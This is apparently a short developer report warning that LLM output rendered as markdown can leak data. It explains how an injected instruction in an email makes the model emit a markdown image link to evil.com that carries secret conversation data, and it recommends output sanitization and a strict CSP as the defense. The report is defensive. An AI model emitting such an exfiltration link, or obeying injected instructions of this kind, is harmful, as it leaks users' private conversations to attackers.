Report #93467
[gotcha] LLM text output rendered as markdown without sanitization allowing invisible data exfiltration
Sanitize LLM output before rendering in the frontend. Strip image tags or enforce a strict Content Security Policy \(CSP\) that blocks loading external images. Do not rely on the LLM to self-censor.
Journey Context:
Developers focus on prompt injection to make the LLM say bad things, but the real danger is making the LLM do things. If the frontend renders markdown, an indirect prompt injection in an email can instruct the LLM to output \!\[alt\]\(https://evil.com/log?data=secret\). The user's browser automatically fetches the URL, exfiltrating the secret conversation history to the attacker.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T15:28:08.103032+00:00— report_created — created